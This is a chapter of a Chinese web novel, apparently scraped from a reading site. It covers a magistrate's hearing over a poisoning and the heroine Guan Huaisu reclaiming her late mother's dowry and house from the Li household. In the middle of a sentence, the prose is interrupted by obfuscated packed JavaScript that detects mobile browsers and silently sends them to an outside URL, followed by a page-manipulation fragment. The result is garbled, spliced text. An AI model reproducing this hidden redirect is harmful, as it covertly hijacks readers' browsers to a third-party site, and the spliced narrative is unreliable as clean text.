“是老夫人吩咐我的!是老夫人叫我去害大姑娘的!”姜妈妈浑身一颤,再次脱口而出,而后大哭着说,“求求府尹老爷,我不要当孤魂野鬼!老爷、老爷,我和小娘一直都是在听老夫人吩咐啊!老爷,我们小娘也是听老夫人命令才做这些事情的啊!当初、当初关娘子的药也是老夫人让小娘换的啊老爷!老爷你不是不知道,我们小娘哪有这个胆子,一直都是老夫人吩咐的啊!” 姜妈妈此言一出,登时满堂哗然。 “你闭嘴!”李珺气得发抖,一脚踹开姜妈妈,将姜妈妈踹到口角流血! 姜妈妈瞬间委顿在地。 “李大人,你现在是在当堂**灭口么?!”程娘子见此,立刻高声质问! “李大人,咆哮公堂,再有一次,只能对不住了!”孙府尹对着李珺警告。 李珺心中暴怒,但是为了亡母名声,只能压着脾气拱手致歉,而后说:“这老妈妈满口胡言,辱及亡母,我失态了。” “姜妈妈,你所言可是真的?”大家都冷静下来,孙府尹便立刻继续问姜妈妈。 姜妈妈口角流血,还是大声应是,而后还一直重复:“老婆子忠心耿耿,老婆子忠心耿耿,不该做孤魂野鬼,主持说了,老婆子下辈子命会很好的!” 说到后面,姜妈妈的神色居然已经十分凄厉。 “这老婆子疯了!”一直沉默的孙萍突然开口,叫李珺精神一振,立刻期待地看向她。 “大人,这老婆子说的话实在是不足采信,崔妙人自小在老夫人身边养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16527513|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大,农家出身,却如大家闺秀一般,读书写字全都被教导良好,全都是因为老夫人慈爱之心。”孙萍跪在地上,神色凄切地说,“她能对有如此大恩的老夫人下毒,可见此人心肠狠辣,做出任何事情都不足为奇!” 孙府尹看向崔妙人,冷声问:“崔妙人,你可认罪?!” 崔妙人心中已经感觉到了大势已去,她痛苦地看了姜妈妈一眼,别过头去——她心中震撼,到了如此地步,居然只有姜妈妈一个人,临死之际,还在保她。 崔妙人眼泪一串串地流,这回却不是为了珺哥哥,也不是为了任何人,她狠下心,突然膝行几步,一把抱住姜妈妈,崩溃地流泪大喊:“是我,都是我做的,妈妈,你别为我开脱了!你都是为了我才如此,都是我的错!” 说完,崔妙人嚎啕大哭。 满堂哗然。 “肃静!”孙府尹立刻拍惊堂木,而后大声宣布:“崔妙人罪当杀,李家归还关娘子全部嫁妆,此事暂时到此为止!” 惊堂木拍下,目前京师最震惊人的案件,到此结束。 但是那是公堂结束,实际上众人的各种议论纷纷,只怕几年都无法止息。 但是李珺目前都顾不得了,他绷着面皮回到家里,还没来得及做什么,关怀素就上门来拿回母亲的嫁妆了。 李珺不肯见她,孙萍只能打起精神,让李福把家里的一切东西都拿了出来。 目前在李家人手上的庄子全部都被整理出来,且连李珺新购入的庄子也全部都被拿了出来。 “这些尚且不够。崔妙人的庄子是我自己花钱买的,不算你们归还的,还有这些首饰,我娘的珍珠大拉翅的礼冠、十二色成套的宝石首饰……这些东西全部都没见到。”关怀素把值钱的大头说完,指着散乱不成套的盒子里冷声说,“这些东西全都不成套了,要么把东西给我找回来,要么就按现在的价钱赔给我!” “大姑娘,这里许多这些年也折损了,也不是在我手上……”孙萍咬牙,硬生生挤出一个笑来,想再商量一下。 “我不管。”关怀素看着孙萍,冷声说,“我不管你们是去当、去借,都要还给我。还有,这个宅子也是我娘买的,我给你们三天时间,三天后,我要收回这栋宅子。” 不算不知道,一算才晓得,真要认真计较起来,李家这回只怕真正是要破落了! 孙萍知道关怀素与李珺闹得这样,定然是不会再讲一丝情面,可是心中依然不可置信,她说:“那可是你爹!你想让你爹流落街头,你不怕被人戳脊梁骨吗?!” “哦?大娘子还知道怕被人戳脊梁骨?”关怀素闻言,似笑非笑地说,“您的表弟回京已经足足两月有余,大娘子也没去看过,听说您自小可是被亲舅舅抚养长大的呢,您瞧着也不像是怕被戳脊梁骨的人呐!” 这话说的孙大娘子面皮紫胀,但是她还不敢发火,因为关怀素身边站着程娘子,后面带着公主府的人,早已经不是当初可以随意欺辱的孤女了。 孙萍只能咬牙行礼,说:“府尹判了七日之内,我们一定会在七日之内把事情办好,还请,还请关姑娘通融。” 关怀素看着孙萍,笑着说:“也罢,看在大娘子亲自给我送回母亲契书的份上,三日之后,我再收回这座宅子,不然我会叫人亲自上门替你们搬家。” 说完,关怀素叫人流水一样,几乎搬空了李家的所有库房。 “完了,全完了……”孙大娘子看着东西全部被搬走,又气又恨,跌坐在长廊的长椅上,悲声说,“如今家里的庄子田地都赔出去了,这可怎么办啊!” “哎哟我的娘子,你这就糊涂了!”周妈妈这会儿陪着,到了这时候,立刻出来说,“家里还有个侯府的主子小娘呢,娘子你担心甚?” 孙萍登时一激灵,立刻反手握住周妈妈的手,说:“妈妈说得是,非得要让她出点血才成,她的嫁妆可比婉淑多了不少!” 说着,孙萍愈发有了主意,立刻往李珺书房去。